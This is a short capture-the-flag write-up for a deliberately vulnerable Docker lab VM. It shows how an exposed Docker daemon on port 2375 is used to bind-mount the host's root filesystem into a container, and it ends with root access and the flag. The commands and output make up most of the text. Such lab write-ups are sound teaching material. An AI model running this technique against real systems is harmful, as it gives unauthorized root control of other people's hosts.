tcunha.github.io

The lesson of history is that no one learns.

Vulnerable Docker VM: Easy

Scanning with nmap reveals that the host is exposing the Docker daemon on port 2375/tcp. Connecting and interacting with it is possible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# export DOCKER_HOST=tcp://172.19.0.108:2375
# docker version
Client:
 Version:      17.05.0-ce
 API version:  1.29
 Go version:   go1.8.1
 Git commit:   v17.05.0-ce
 Built:        Tue May 16 10:10:15 2017
 OS/Arch:      linux/amd64

Server:
 Version:      17.06.0-ce
 API version:  1.30 (minimum version 1.12)
 Go version:   go1.8.3
 Git commit:   02c1d87
 Built:        Fri Jun 23 21:17:13 2017
 OS/Arch:      linux/amd64
 Experimental: false

Having direct access to the daemon is a big no-no. This gives the ability to execute any commands on the remote daemon, like creating a new container and taking advantage of the shared filesystem (-v) functionality, by bind-mounting the host root directory and having access to all of its files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# docker run -v /:/srv -it --rm wordpress:latest bash
root@23890602df34:/var/www/html# ls -l /srv
total 80
drwxr-xr-x   2 root root  4096 Aug 16 17:04 bin
drwxr-xr-x   3 root root  4096 Aug 22 14:11 boot
drwxr-xr-x  14 root root  4080 Nov  1 10:26 dev
drwxr-xr-x  90 root root  4096 Nov  1 10:26 etc
-r--------   1 root root   414 Aug 21 20:30 flag_3
drwxr-xr-x   4 root root  4096 Aug 16 05:56 home
lrwxrwxrwx   1 root root    34 Aug 16 08:30 initrd.img -> boot/initrd.img-3.13.0-128-generic
drwxr-xr-x  21 root root  4096 Aug 16 06:36 lib
drwxr-xr-x   2 root root  4096 Aug 16 06:36 lib64
drwx------   2 root root 16384 Aug 14 08:02 lost+found
drwxr-xr-x   3 root root  4096 Aug 14 08:03 media
drwxr-xr-x   2 root root  4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root  4096 Apr 16  2014 opt
dr-xr-xr-x 108 root root     0 Nov  1 10:26 proc
drwx------   4 root root  4096 Aug 22 14:19 root
drwxr-xr-x  19 root root   700 Nov  1 10:26 run
drwxr-xr-x   2 root root  4096 Aug 16 17:04 sbin
drwxr-xr-x   2 root root  4096 Apr 16  2014 srv
dr-xr-xr-x  13 root root     0 Nov  1 10:26 sys
drwxrwxrwt   2 root root  4096 Nov  1 10:30 tmp
drwxr-xr-x  10 root root  4096 Aug 14 08:02 usr
drwxr-xr-x  12 root root  4096 Aug 14 08:12 var
lrwxrwxrwx   1 root root    31 Aug 16 08:30 vmlinuz -> boot/vmlinuz-3.13.0-128-generic

Since when running nmap revealed that the host is also making use of SSH, having the host root directory mapped, it’s only a matter of generating a key and logging in to get root on the compromised host:

1
2
3
4

root@vulndocker:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulndocker:/# head -n1 /flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6